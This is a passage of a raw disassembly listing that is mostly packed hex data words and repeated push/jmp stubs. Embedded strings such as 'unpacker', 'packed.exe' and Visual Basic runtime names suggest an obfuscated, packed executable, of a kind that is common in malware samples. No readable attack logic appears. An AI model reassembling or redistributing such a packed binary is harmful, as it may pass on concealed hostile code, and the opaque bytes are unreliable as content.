5FC35F20h, 4247C89h dd 4244481h, 17h, 0B2C35747h, 892F84F8h, 0F9071985h, 0F1BD8905h dd 6A05F907h, 0ED95FF00h, 8B05F91Ah, 57CEBC0h, 35E90BA1h dd 1D61C655h, 5EDC9724h, 457ED5C2h, 6F2C925Ah, 0B32A23C5h dd 0E18992B9h, 0A78D0948h, 4586C9E9h, 3E55BD92h, 77007BEDh dd 0C76E91F4h, 0A677A285h, 6F23F8A7h, 48CBB432h, 6F82B9C3h dd 3DD11A7Bh, 0B78D9900h, 850DDEC3h, 0CC6A15B0h, 396BD6A5h dd 25243BE9h, 0BA9A350Ch, 4D72215Ch, 0C86E588Ah, 24F8523Fh dd 3BF74600h, 0B68F13BAh, 46AA7FE1h, 2F36C259h, 0E8BF3DD6h dd 10h, 0B9D7381Eh, 25150DEEh, 7A3C1953h, 0FD489517h, 33D18166h dd 9D895828h, 5F909EDh, 74BAC081h, 0BD8B0000h, 5F9079Dh dd 68h, 0E95AF800h, 9, 0B7243DCDh, 0E082D050h, 234FF9Ah dd 65EB815Bh, 8B402F25h, 0F90E35BDh, 24F38105h, 8940BE6Ch dd 0F934A19Dh, 0DFF38105h, 0E9566EFAh, 14h, 0A7D8B012h dd 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 0ECB116C1h, 8B101C89h dd 0F92011BDh, 0FABF0F05h, 6004EA83h, 0B4DE8B66h, 0FA816129h dd 0FFFF8BE8h, 0FFA3850Fh, 860FFFFFh, 6, 315D9D89h, 65E905F9h dd 6E000001h, 0DD3A14ACh, 437C8360h, 5F6D5C3Ah, 61706E75h dd 72656B63h, 63617000h, 2E64656Bh, 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5DCF53 ; --------------------------------------------------------------------------- push 5FFF34Fh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFF494h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFF62Bh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFF78Fh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFF7CEh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFF8B6h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFF930h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFF98Dh jmp loc_5734FA ; --------------------------------------------------------------------------- push 60004FBh jmp loc_5734FA ; --------------------------------------------------------------------------- push 60005D6h jmp loc_5734FA ; --------------------------------------------------------------------------- push 60006CFh jmp loc_5734FA ; --------------------------------------------------------------------------- push 600082Dh jmp loc_5734FA ; --------------------------------------------------------------------------- push 60008D0h jmp loc_5734FA ; --------------------------------------------------------------------------- push 60009E8h jmp loc_5734FA ; --------------------------------------------------------------------------- push 6000A91h jmp loc_5734FA ; --------------------------------------------------------------------------- push 6000B4Bh jmp loc_5734FA ; --------------------------------------------------------------------------- push 600151Ah jmp loc_5734FA ; --------------------------------------------------------------------------- push 6001678h jmp loc_5734FA ; --------------------------------------------------------------------------- push 6001783h jmp loc_5734FA ; --------------------------------------------------------------------------- db 16h dd 47AE56BBh, 11B468A7h, 3DA85CA7h, 14B3699Ch, 67BD5FA8h dd 0BA4D6D2Ah, 92796382h, 0A9608B6Ah, 0A26B5473h, 749F587Ah dd 23969509h, 9F18E186h, 0F83ED03Fh, 23AA638Ch, 9B409B44h dd 7BB6636Ah, 745760C9h, 0BA592095h, 299685BFh, 648A3F3Ch dd 0B176EF8h, 0BF70B4AEh, 0B36EB26h, 193DC6F4h, 8F110836h dd 25C9362Fh, 2036E3EAh, 4BF62BD8h, 9CAD6D10h, 0FF6E323h dd 2EDBCB9Eh, 0B21ADF08h, 0A979D80Ch, 6CDF6FA8h, 239CA90Dh dd 836C53ECh, 4995648Ah, 58B51AA5h, 849F51B6h, 926748D6h dd 9CA0F881h, 66887523h, 7DBAh, 547A8500h, 0CEA197B7h dd 0D87E8931h, 0A8A31A8Ch, 2CF3F7A8h, 0D339E029h, 0DAE07167h dd 0C572844Fh, 1FE4987Ch, 0A007ECDh, 35D92C8Dh, 8EF31812h dd 88936E2Fh, 239CCDF5h, 59A1B572h, 0DE98527Ah, 0A8ABDB6Fh dd 0D48508C1h, 0AABF5F00h, 0ED24C6AEh, 55CB41E8h, 0EA51227Ch dd 0F382C569h, 0D2239CCAh, 85572F3Bh, 5148D6E6h, 0BF126BA8h dd 0FA9D239Ch, 2C5FD905h, 0F61805F9h, 0FE2Ah, 638CFC00h dd 8CBF5F8Dh, 36FB6113h, 0E5E0090Bh, 4CA28FBh, 0CEEEF9F2h dd 0AF5B439h, 0E41323E0h, 0BFCE0FBh, 931ACF8Ah, 3AE22B94h dd 0BF8E2DDh, 0BE5D68EBh, 9A432995h, 0C926D173h, 29379D44h dd 0D19756CFh, 0ECE12C91h, 8962F43Dh, 17F6D7E0h, 3733C396h dd 33A447A1h, 5E0B8289h, 0C9B24193h, 8B6AF5D1h, 59669B46h dd 49209570h, 93BCA2A5h, 0B26F2F8Fh, 0BB4C7087h, 0DE709944h dd 0A24CB354h, 0B1789737h, 0B57C19Dh, 500E9D6h, 0E61744F1h dd 63299934h, 59847BA6h, 0CA6C3DB0h, 9D6A526Dh, 0AB5C8067h dd 0FD092650h, 344132BEh, 2561h, 0CD6FA23Dh, 9349C62Ah dd 0C77D8634h, 924ABB20h, 5C808733h, 0E00C4BC6h, 0ECD2F527h dd 0F3DAFD1Fh, 0E607EE16h, 2ACFF527h, 969290E9h, 98580D23h dd 5675608Ch, 0DC7742B3h, 299685A1h, 61A8611Eh, 5AB31CBBh dd 218F85A2h, 2C0CEE0h, 0FF0E24CAh, 2AD9FF69h, 0EDD23ADFh dd 6A6158EAh, 2FEC49EDh, 2F8F3CFFh, 89866A55h, 1D908D65h dd 9D17FF76h, 0A85B7D23h, 719E4225h, 0E9F5107Ch, 0F6E42B35h dd 0D6335C10h, 2A8F2848h, 0EFFFDADBh, 0F633h, 638C1500h dd 984423AAh, 54BEE952h, 0CA351F29h, 0AD20E926h, 95E39B26h dd 0B15C8129h, 0A1B68488h, 0CBB8F123h, 9E6112Bh, 0D51CE9D2h dd 44EDA82Ch, 0A30D2BACh, 0D3FA9851h, 1B3B5F21h, 41D227D2h dd 29966F38h, 3A26C8B5h, 49CB76ACh, 9E9B9CC0h, 81695656h dd 0B45A0F86h, 2F86DC77h, 0CD742F8Fh, 9CDDEB8Eh, 9BBB6823h dd 997EA663h, 0CF6CB033h, 7086DAFEh, 13862F4h, 988A9652h dd 91483529h, 0F7829168h, 741DA0A9h, 59907355h, 88D825Eh dd 8E2EBD51h, 6E66C379h, 56C01365h, 957C5026h, 0E34074C6h dd 9B140D6h, 0F27B1DFEh, 9A9BBEFDh, 241C8Bh, 38D9F800h dd 12FDE104h, 26DD0BEAh, 13F2D7FEh, 21E606F1h, 0ABE829FBh dd 0B114C83Fh, 0F9DC000Bh, 0E20537D2h, 6EC10FDh, 91572231h dd 6FD42396h, 0A7608CD1h, 7B409475h, 841E0603h, 0AB342D4h dd 0CE3FE103h, 8595E873h, 15122996h, 0ECDF201h, 1F965BB0h dd 0BA24B718h, 448D5C51h, 0F43EA8A0h, 856B0E4Dh, 3BE82996h dd 96855D20h, 0E42DDA29h, 0EA82D73Dh, 0CFC647A8h, 0FEFB21Ah dd 6DAE8BABh, 2F8F18B1h, 370237E4h, 9CE7611Ch, 0C9EFDE23h dd 865FEF3Ah, 9CE778FDh, 33D8F623h, 0F518B5C2h, 0A7B35A00h dd 0DFD861F7h, 0CF8A0BFAh, 0B492C03Fh, 48D6C738h, 5326350Ch dd 0D0239CDFh, 5BE743D3h, 3A000001h, 0EAEB1EBDh, 0F1191F2Fh dd 72A83EC5h, 519A72C7h, 0F6517C9Ah, 0C4EADAC0h, 6D61D1F0h dd 2FBF4C72h, 8F89F61Ch, 0B15C492Fh, 0EE838488h, 0EDE8855Eh dd 9CF84B2Eh, 16DBC823h, 0C5C843A9h, 0FC4F0214h, 49F8379Fh dd 0BD5E83DFh, 54FB5989h, 6D8AAF6Ch, 3235B84Bh, 5C0D808Dh dd 0F2688195h, 3E033E64h, 9475C1Dh, 0A2CD949h, 0C97EE2Dh dd 2374F06h, 0C233D6F5h, 82314CE7h, 0F1AE430Ch, 31E8955Dh dd 0F0E52AC6h, 0D6FFFB1Ch, 7DB4AF9Eh, 5CA55CD9h, 0BAFBEBFh dd 0BD5E3B43h, 430BAFBCh, 71854C39h, 93C05D82h, 430BAFEAh dd 0CA6FBA67h, 0AF99E46Fh, 7916430Bh, 0BAF9FDAh, 0AA5F1C43h dd 728DAA84h, 6138BD4Ah, 4CC11ECDh, 82E6D36Fh, 472E4753h dd 2285h, 71937E61h, 7FA56A86h, 6B917258h, 7EA65F8Ch, 70947357h dd 0BC205FD2h, 902E994Bh, 0BF1EC97Bh, 8A33924Ah, 0C6736183h dd 968FE495h, 4CEC6123h, 5578638Ch, 5A4B41B4h, 8E0159Bh dd 41F831F8h, 0EAC38DCBh, 0C85925DCh, 2A3C90E8h, 845467D5h dd 0A8472C3h, 24B62FBFh, 46B168B2h, 7B8832A9h, 0C46A9F7Ah dd 0C6259267h, 77975243h, 8EBD4ED4h, 9643BC2Fh, 8BAB7E6Fh dd 0A98EB673h, 0C525AC0Eh, 539E4B42h, 0C5F17DC3h, 0D182A83Eh dd 299685A8h, 0B2CB8825h, 2F299685h, 0C772B772h, 8598E172h dd 68152996h, 64AA69C6h, 0F22F8F9Eh, 1224E705h, 43103DEAh dd 0AAC6682Ch, 37D6F700h, 53DD4B17h, 0B498165h, 0B61ACCC2h dd 389F7A7Bh, 0A7827394h, 0D182B762h, 9C73FAA8h, 59D67825h dd 6D038CBAh, 5C806FA2h, 0CA6F66ABh, 0D6788B2Dh, 15A91C8Ah dd 7CBA7E56h, 6CAAD380h, 7A27967Bh, 7ABF7AAFh, 2AAB5E7Dh dd 1D6CDF6Fh, 0BD9C7832h, 7C719E42h, 827189ADh, 0C079B05Dh dd 0EA93C079h, 67907EA7h, 4FB5849Dh, 39F0BE94h, 0CE2A5300h dd 0FAA7907Eh, 0A3389554h, 0DADDD037h, 27D217F4h, 7ECE91ECh dd 0D8110E90h, 0CFFC0324h, 0FA2FD804h, 0E5389554h, 7ECE4336h dd 0EC3C090h, 1F8727ADh, 0EFF6FF2Ch, 2121h, 0D2FE2FDh dd 0D30906EAh, 73DC6F4h, 0D20AFBE0h, 9C40C7F3h, 0A04C0B86h dd 0AC12B567h, 0B31ABD5Fh, 0A647AE56h, 6A0FB567h, 968ED0A9h dd 0D8984D23h, 49AA638Ch, 0B5083089h, 0E281648Dh, 0BE000020h dd 8F36EE23h, 993CE02Fh, 0C530D42Fh, 9C3BE124h, 0F25D730h dd 205E592h, 3AD1FBDAh, 11F8E302h, 2AE30CEBh, 0EC27D0F2h dd 23968E91h, 0CE97590Eh, 76A4E46h, 94BAC642h, 20957855h dd 1BC61C8Ah, 0C8CD36A4h, 2330FD11h, 2F8EE4CBh, 0A4638766h dd 2675B76Dh, 826BC553h, 809B468Bh, 2995BE92h, 0D2319720h dd 10E80EDBh, 6E59FA13h, 8ABA4C45h, 1117D482h, 54FA540Eh dd 0AC129E08h, 0CA6FAA5Fh, 0CAB18642h, 4403E926h, 0F5D7C0D6h dd 24CA9F16h, 0F3EF2521h, 6AD14386h, 3EF5F964h, 0F7540EFEh dd 9E5366C9h, 1F668078h, 6556FEC6h, 1FE6D3CCh, 0E177E3EAh dd 0B6D380B9h, 5680FF0Ah, 11847F69h, 772A158h, 84750581h dd 657F7797h, 0D2344FE7h, 0DC05CCF9h, 0F113FAE3h, 0D724E906h dd 199FB19h, 0FAFDE809h, 0D600001Fh, 7EE16FBh, 0D1F428E7h dd 0FDE81CE7h, 0D4F329DCh, 27FD1FE8h, 0FA0DADEAh, 0D239A342h dd 0E920CB2Ah, 0E22B9433h, 34DF983Ah, 23968D49h, 0E85F21C6h dd 29968595h, 96951267h, 84FAD229h, 0AB791B7h, 1AC7B261h dd 57442996h, 0ACC97C92h, 6C29962Ah, 789E6553h, 960AA0D5h dd 416C6029h, 216BF0CEh, 8CED2ED3h, 9299631h, 0D2FBFA1Ch dd 640AE03Bh, 0E50EB508h, 1F8000h, 9C755C00h, 0AE617D68h dd 9A694F76h, 0AF568362h, 85826A8Dh, 0F4CC55Fh, 3DA85CABh dd 0DB86C9Fh, 3EA95BAEh, 0AB86CA1h, 8CCBAE6Dh, 0A3482396h dd 1469FFE5h, 371D19A4h, 0C178B15Dh, 7E6F9436h, 6DAE8BABh dd 2F8F5445h dd 0C5B86350h, 42239D45h, 4D2F8C45h, 55B0F171h, 1F23595Ch dd 0E0FF0000h, 4EC0B31h, 0CCEED90Bh, 0F9E20537h, 0CDEDD80Ch dd 0F130023Ah, 37ED1AC2h, 27DD2E90h, 38EC1DC0h, 27DD308Dh dd 1E5FFCBDh, 9B23968Ch, 31CE9236h, 5B0E7F8Ah, 860475A6h dd 84812996h, 965A8372h, 0BFDAC0DBh, 0AA498E84h, 0F9F8BDA4h dd 0F3F4F930h, 298153CAh, 32CBE2BAh, 22A1DC77h, 611E2996h dd 984225A8h, 94BF6A6Bh, 299622E9h, 9D3EB966h, 80759A36h dd 1F6D60A9h, 0E424FAE8h, 0EF18C43Bh, 38D3F9FEh, 0B09E5DF1h dd 2F3A1AD6h, 33DB4Dh, 99260000h, 0ADFD631h, 91E84EE4h dd 0F299685h, 52BA5FAEh, 0EA2AB01Bh, 0FA0FAE4Fh, 4BEB26F3h dd 0B59262F1h, 0BB2729F1h, 75D1E406h, 4431A46Dh, 1E5Dh dd 0AA638C7Ch, 0F921B723h, 1340F940h, 2996856Ah, 31143AE7h dd 2F8FA749h, 0C245A5C4h, 69B61ECBh, 4FE91470h, 3C053CF5h dd 9D305E1Fh, 0F32EDB23h, 9D301568h, 81959223h, 9B1583B7h dd 0C748A831h, 0D7DE13C6h, 0A512C702h, 633C346h, 0ED16C43Bh dd 2A1D31E8h, 29965C0Ch, 0D8FBE00Fh, 0C7A213F4h, 23C6C702h dd 41D52E9Ch, 20C908B2h, 39F0E5h, 0A4022A53h, 2FFAA71Dh dd 3ACDED0Ah, 53C0C9B3h, 0BE08369Bh, 0A65F8C73h, 5AD47A2Fh dd 0A3B7A3D7h, 50BF1F1Dh, 0BAC350A9h, 371DA3B7h, 9C6F4D4Ah dd 0B915C07Ah, 0B7C4B566h, 44411DA3h, 806B548Dh, 21947357h dd 5D0C8148h, 6E8930B9h, 5C9BBB50h, 5A047E74h, 0C2C96601h dd 690E8607h, 0CFAA6990h, 4C1DA3A9h, 0A9B9C44Fh, 8E2F1DA3h dd 0CC621F7Fh, 0A34B212Dh, 7479963Ah, 27B86CA5h, 46DD81B5h dd 44372h, 46CED400h, 0B5428013h, 4019B0F1h, 0C2A04FA5h dd 881E4AECh, 0AA10A752h, 1A855459h, 75C254B1h, 8EEBA4E6h dd 0ECD0FF2Fh, 0D039A41Bh, 1CC50CDDh, 28CE35A3h, 0C518B8BFh dd 0F72DE427h, 0FA1FF0D0h, 82EE1FDh, 0CB4534DFh, 0DBE4239Ch dd 3182C2F9h, 8096C52Ah, 77575581h, 61986198h, 9CB4C7B2h dd 0BC574423h, 239CB4C1h, 83AD413Eh, 0BDC05BA6h, 33239CB4h dd 9B887E85h, 0BE50B924h, 33EE34A2h, 95DA0228h, 75782529h dd 87BD4A72h, 568B7C60h, 8F0D70ABh, 56831DA3h, 0BC524FAFh dd 52798623h, 30A56885h, 6C3DB079h, 8EF487CAh, 0AA8F1DA3h dd 8EB9C44Fh, 49361DA3h, 660856A5h, 85667359h, 95444980h dd 0BD4A7281h, 87507B84h, 7425A867h, 7A9F99BDh, 9DBE617Dh dd 1DA38EDCh, 7A65AC59h, 0CB97B754h, 3FDC055Dh, 239CAC77h dd 248657BDh, 7DE643B1h, 0E6E697C4h, 0A66317A9h, 3ABB6890h dd 0A24B902Dh, 0C14A746Bh, 0EB28D108h, 17A9E692h, 0EFFE00Fh dd 0F717D287h, 0F625DC3Dh, 17A9E683h, 349C0300h, 0EFFFDADBh dd 0D4FCDF00h, 54FFF63Bh, 17A9E629h, 349A3B9Fh, 0CE03D6D7h dd 0DBFEE0C7h, 0BF9A1BF2h, 1D1A830Ah, 0AE936D31h, 6B62AD11h dd 7D6998BEh, 0B2CB88B1h, 2F17A9E6h, 0B00DDC72h, 0A040A75Dh dd 59BB7E6Fh, 8D7424C7h, 86658941h, 0B802886Ah, 21F310BAh dd 0EC3591Dh, 48D32ED3h, 17AA1935h, 1366F5B2h, 9017AA19h dd 1C917C61h, 0B31B844Dh, 4631BA5Ch, 8A6D60A5h, 0B024A966h dd 57D589D5h, 54B715A2h, 27B9861h, 7F17AA19h, 58A74782h dd 2570640Ah, 3A280454h, 25C928CEh, 4A2059FAh, 399617AAh dd 9608E1D4h, 1BFC20E9h, 0B4370B9h, 694B5FC1h, 0F89F5874h dd 0AD62F41Bh, 5CC32433h, 0CC521103h, 0DB1F2591h, 12AEF3Bh dd 7320000h, 0AA0F314Ch, 5DF1AE17h, 0A7608CD7h, 3C994126h dd 8AAF7A93h, 98BE516Dh, 8182684Fh, 49C02B0Ch, 5D898444h dd 2BD68381h, 96858DF0h, 0B000A29h, 897AF6DFh, 36C569A0h dd 7E8E8628h, 455E674Eh, 9B140D6h, 3CE51ECCh, 96155E1Fh dd 0E32EDB29h, 2558033Eh, 0A2299615h, 1AE751E5h, 4D2F2946h dd 0DCAF10Eh, 1C9158ABh, 0D7C3CA30h, 31F8205Ch, 0B2011Dh dd 0F8DC0000h, 83FCD7FDh, 0B6517991h, 8C65DB7Bh, 8623AA63h dd 85DDA0BBh, 0AD5A2996h, 88856A89h, 0CDEA8F05h, 0BF9A1BEEh dd 0EC82D02Fh, 1224EBD3h, 0F9E1FAE3h, 857CFD1Eh, 0CF92996h dd 0EAD50CC5h, 0D5840906h, 0E712F741h, 9685512Ch, 2F4A0929h dd 0AC299685h, 0FBE00FEFh, 0DA2FBF0Ah, 4D2F5906h, 4FBFh dd 69FF8900h, 0DB310831h, 0CBF3B54Fh, 91D07044h, 456DE076h dd 8B2F8F90h, 0CBC24B74h, 3865CB01h, 549DA2F1h, 484D3AC2h dd 51B616A1h, 0A2EB8ABDh, 75CA239Ch, 0FB31CC9Fh, 5C106307h dd 0CC4AA2A3h, 0D130C600h, 3D2FC185h, 29E848D6h, 3A000001h dd 828D31CEh, 0BE50B315h, 33EE34A2h, 25EA060Eh, 1764E8F3h dd 93795F63h, 0A3B3E629h, 8EC1DAB0h, 5E7F782Fh, 0AA579FAFh dd 419C4423h, 7FA56C97h, 89657858h, 8F5A0F86h, 75A65B1Eh dd 239CAA04h, 0BE5D8481h, 239CA9BBh, 4CAB4B38h, 799439A4h dd 506E89B0h, 0CF5F3ABBh, 62AD1116h, 0A7608C6Bh, 0B39FD626h dd 588661EBh, 55C02996h, 9CA9B3C6h, 0BE733023h, 68755998h dd 984C8586h, 0D6819547h, 8A5248h, 12AD0000h, 4BC42CABh dd 9F5A0F86h, 9C9E0974h, 75998623h, 266FFBFh, 0BBBC31DEh dd 23F6F70Eh, 16FE23EEh, 96384F70h, 43A98075h, 799D18E7h dd 28BE9FBCh, 717BA996h, 963AFED4h, 4FA57479h, 27E28FAAh dd 71581DA6h, 439A996h, 7A5C6F10h, 0DF6FB9C3h, 34AD3220h dd 46460DC9h, 29E08A9Ah, 0A0C349F0h, 0F560BF89h, 5F56B31Ah dd 9CAF3F8Ah, 2995B5C1h, 0AAD380B9h, 272995B5h, 2D1CD47Ah dd 0A2777E91h, 1910B567h, 70000000h, 798Ah, 0C98AAF00h dd 299685B0h, 8AC9702Dh, 299685EFh, 999FAF6Ch, 0BDA173CEh dd 34F106FEh, 458FEA09h, 0F0C2996h, 39CAF0FFh, 5B270C00h dd 80CAFAC2h, 4E72756Eh, 8CC60DA4h, 0BE39FCCDh, 35E4E91Eh dd 419D48FCh, 0C453C7CEh, 725C639Eh, 0CD6C7599h, 797C8932h dd 0BDBB8EA0h, 3D2995ECh, 8265689Bh, 9C3EAF5Ch, 0A3BD616Dh dd 4DB8219Eh, 3A0C5AA9h, 4D2FC4A6h, 10975Fh, 68FFA900h dd 0DC18BB32h, 64B341B9h, 1C1B927Bh, 896055AEh, 5459AE0Eh dd 530B57B6h, 5F8B74CDh, 808F2FA8h, 83438F6Eh, 0C4846CE9h dd 71AEh, 68FF7800h, 0A4401715h, 0A56CE452h, 923AC57Ch dd 0B9709743h, 78F6534h, 4126E0FDh, 0E29BAE40h, 9A2995F1h dd 952FE832h, 0D47A805Eh, 52BA5F1Ch, 0F4B1B694h, 0EBD3CC32h dd 2AD91224h, 0D30A00F1h, 0D586BB84h, 802265A4h, 5B4D4C2Fh dd 0AC12CF5Ah, 0B2A05FEFh, 5BAB18D4h, 0CBE8ECE4h, 3D7646FCh dd 84CE5AFCh, 11000003h, 2E8E45A6h, 0CC05D4D9h, 68FF142Ah dd 21320732h, 29968558h, 0AA1CF1CEh, 0CEE359FDh, 0C8FF8D46h dd 0E608E56Eh, 31CEC779h, 66A34A87h, 7E6FBA6Fh, 836C8BABh dd 66DA568Ah, 95E873CEh, 12299685h, 0C542AA15h, 52F0DC31h dd 50C4502Fh, 6AF7676Ah, 809CB218h, 56h, 68FF62h, 3CE52CDDh dd 520118C3h, 29968527h, 0C532F7A4h, 3DECE124h, 8DCE2319h dd 299685E9h, 5AAB10A7h, 0A13F3CB4h, 8DCE73CEh, 299685ECh dd 0A49ABC69h, 7CA55E8Ch, 9CB25983h, 0CE2E1296h, 8595E873h dd 15122996h, 3FF001h, 0AE490000h, 21F8FD12h, 68FF270Dh dd 8DCE0E32h, 299685E9h, 0CEAF6C89h, 4B299685h, 0CE75935Eh dd 0B5C6A173h, 0D0E32805h, 73CEF83Eh, 968595E8h, 1151229h dd 0D3BC8F2h, 7F8A31CEh, 0C2BB5B0Eh, 0A5DDE8DEh, 17C3626Ah dd 26EB20BEh dd 32DB04FBh, 0C8F1EEBBh, 0FA1F193Dh, 0B12EE1FDh, 9B5AFC07h dd 0CA45A932h, 0FFDDDAFFh, 827DEA0Ch, 0E2A4AD5Ah, 0F8D5D703h dd 0B641F815h, 2BFEEF14h, 0D803EC0Bh, 0ACA015F6h, 0F819E590h dd 0E029E098h, 0E91EBE39h, 6B611845h, 2FF5B73Ah, 0B45E92Ch dd 45C8255Fh, 56876750h, 585D9479h, 4F0F5BB2h, 7676646Bh dd 5E99B459h, 9A858C81h, 0DC7BFF32h, 39F0C1h, 0DADE0F0Ch dd 1526894Ch, 0F0C18964h, 11BB24E1h, 1026F3FAh, 3B063BE8h dd 0E8ED16C4h, 89572231h, 27D4F0C1h, 891861F2h, 0E895F0C1h dd 0BD1E1946h, 7C624548h, 533A1E8Fh, 38875707h, 709D422Ah dd 1BBA22D5h, 0D1AC67AEh, 4EF0C189h, 5C519851h, 4EBB229Dh dd 0B3ABAEA8h, 38D3F906h, 0CDFBE4B5h, 0F5E12036h, 0D34D3F7h dd 87A05807h, 648A1672h, 4BC22BCAh, 46C12996h, 0F10EB3B0h dd 40AF3FCAh, 78997B9Ch, 0F0DA4370h, 0ABF5070h, 0B01561E4h dd 2ED3F0C1h, 0C1B08CEDh, 0FA1C09F0h, 25DC0502h, 0C1B083F6h dd 0F30300F0h, 0A8638976h, 709D4225h, 8533AC7Dh, 11E6777Eh dd 0D0A719C5h, 9645AA82h, 7FCB739h, 7633BE7Bh, 8D5F3ABBh dd 0A11775DCh, 4BF63BDFh, 8C010AB4h, 0DF4B2EEDh, 0DBC8F0C1h dd 983F0016h, 942BD637h, 1653E32Ch, 3EABDF8Eh, 0DFD63995h dd 0E9CEBF0Ah, 12F3D805h, 0D534D6D7h, 0BF48D589h, 0A7349993h dd 0D60BC645h, 900500E9h, 0D30435D9h, 1FE23EAh, 411E30DBh dd 72A17656h, 0F0C1E007h, 0D7529784h, 0C2AAB807h, 0EB55F01Dh dd 0F7146CEh, 0CE5578ECh, 0F924C928h, 96051F5Ah, 2ADF9C29h dd 0FF4AFEF6h, 0DA143466h, 523AA666h, 597B502Fh, 0CD000000h dd 13F046CEh, 0ACE2A46Dh, 1347DE8Ah, 0BEC113EEh, 0F39BCDB0h dd 31366F5h, 93902996h, 8DCEBD83h, 299685E9h, 0E994BF6Ch dd 66299685h, 2EC970B9h, 61A6468Dh, 8174BD6Ch, 0CEB086A8h dd 0AB648C7Ah, 0D227127Dh, 96853841h, 3A96B529h, 0C009E0D5h dd 4E8A082Eh, 0B6000000h, 828D31CEh, 1C69F06Ch, 81846945h dd 69A04BEEh, 0B57CB564h, 8C73CE93h, 7623AA63h, 86096DE0h dd 7CA92996h, 8C73CECCh, 8A2FA65Fh, 9685B0C9h, 0B9702D29h dd 6A6BA03Eh, 8C999FAFh, 8976AB64h, 7831A45Fh, 2AAB5A7Fh dd 1259DF6Fh, 96BCE82Eh, 0EB162996h, 0F91DE6D4h, 0FFFBF9F8h dd 0D9CB41FFh, 0E598C36Eh, 6229958Eh, 0E70D4FA5h, 0CE61D777h dd 6F7F8A31h, 96859DDCh, 7D625D29h, 0BF5C1D90h, 299685BEh dd 73834E3Bh, 94A60F7h, 29968570h, 21C730EDh, 14F527E2h dd 379841ABh, 0FCFB1BD6h, 0F9C035CEh, 856A1340h, 1DE72996h dd 0B3B08023h, 30C60BF3h, 95E35C1Dh, 1EEBD229h, 0A92C9097h dd 890CC540h, 48164433h, 3C878DB2h, 3AE59B07h, 0D200FF0Fh dd 0F113F0DAh, 0FE0DAF48h, 0BD359958h, 26ED3A9Eh, 32E72284h dd 53E326C5h, 17B740E9h, 1224F5F8h, 1A9BCF56h, 0EBE85969h dd 7B679E6Bh, 339E4CB3h, 5C0D8087h, 0A5492095h, 781D8C60h dd 2A1490Fh, 0E89B0000h, 29968592h, 16CB1781h, 8FAEB105h dd 3895B42Fh, 0C009E0D5h, 0C20FB91Ch, 0B124ED1Ah, 0F0E52AC6h dd 0F128E707h, 0CBF2E906h, 8A63F33Eh, 0A55C8610h, 9178635Ch dd 8A58CA7Dh, 86832996h, 0FA66DD35h, 0BDA8C9BEh, 13B5h dd 41E32E91h, 2FD53A96h, 3BE122C8h, 2ED62F9Ch, 40E423C7h dd 0CCF0AFE2h, 0DE093Bh, 0CFEED90Bh, 0FAE3023Ah, 3603F113h dd 96815425h, 5C1CD123h, 23AA638Ch, 0B44F7986h, 1A50C6A2h dd 968580F9h, 0C900FD29h, 0C544A710h, 0A213F0DAh, 2F0A27C7h dd 8530490Ah, 0F0AD2996h, 761FEB5Eh, 57BD2F96h, 1118751Fh dd 6199BDFAh, 8AA14B72h, 0A49F3939h, 40F930F9h, 47F211B7h dd 0DF7584C5h, 0F105605Fh, 0C93AA047h, 349A25C4h, 17B837D7h dd 530019C4h, 2397202Ah, 0BE2FFAA7h, 5DCB10CEh, 39F00778h dd 272A5300h, 0FAA72397h, 242F0A2Fh, 23972759h, 0DC0529D6h dd 5782D84Eh, 903CC6BCh, 8ECD7429h, 1D9E12EBh, 639BBB68h dd 41BE4774h, 5BB8719Ch, 0BEF042EDh, 0DAA184ADh, 0B6000012h dd 0A74EF61Bh, 0B114C847h, 9D48FC07h, 0B413C93Ch, 47DDFF08h dd 0DA2D8DCAh, 0F219C322h, 0C940AB4Ah, 20BB413h, 143FF8DAh dd 23968069h, 8CBF81E6h, 0B5567863h, 2DA06940h, 0ABD22BBDh dd 202F9A98h, 76CB76BBh, 24A96489h, 0F06EE175h, 0DE2F8F36h dd 0FCE0FDE1h, 1ACF8A0Bh, 24E2FCF4h, 79FD0104h, 8841CCF1h dd 75CF2C24h, 59908688h, 557986A3h, 0D06633BAh, 0AB51BC21h dd 0C14C718Eh, 7BA7312Dh, 912C4EC6h, 0B56ADB39h, 0DAFD6D5Fh dd 648A30E0h, 688572C7h, 53BE91A5h, 0DB299CF1h, 870EF7E4h dd 0C7B43CD2h, 512CE712h, 0CE1D9D10h, 7F03DD1h, 0DBFA22E1h dd 989F16EDh, 1ADFD637h, 26C83B9Dh, 7986AC3Ah, 0D4A5B651h dd 511D9D10h, 9D649D54h, 0BD51BE22h, 9625F48Ah, 132AA223h dd 3944CFEFh, 0B617A39Fh, 0D93DE3C9h, 120FE707h, 0FACD7DC1h dd 3D2849A4h, 11E1h, 4DEF22BDh, 13C946AAh, 47FD06B4h, 12CA3BA0h dd 0DC0007B3h, 608CCB46h, 6C5275A7h, 735A7D9Fh, 66876E96h dd 0AA4F75A7h, 96801069h, 18D88D23h, 828D31CEh, 39B85E0Bh dd 96175C94h, 0BFA7C632h, 24C519CAh, 3F955CE9h, 0FF708A17h dd 0B824723h, 28D1099Fh, 8F554FEBh, 66878D2Fh, 7446714Dh dd 0E504EC02h, 0DE8B0205h, 0C448F113h, 0E81B723Eh, 81B00465h dd 0C46E200Dh, 0B717D678h, 9741A458h, 0CE56B86Ch, 6D818C31h dd 63B67F1h, 774D6E0Eh, 0AE4005D4h, 0E20CD281h, 12FA2F8Eh dd 0AD1CE2A1h, 0DD1539C3h, 0B83DD2EEh, 1EA528E1h, 239D8357h dd 0F122F5D5h, 239D8388h, 0DCD11805h, 0C4FCF0DBh, 0DFFB4D23h dd 6F595C95h, 8C944A98h, 0FF715581h, 0C748D69Bh, 0B398E172h dd 0C350239Ch, 239CB3BAh, 0B7544A37h, 9CB3E19Ch, 68A15E23h dd 0CD5AC6h, 1AA50000h, 0D1AC67B4h, 4E239CB3h, 44159851h dd 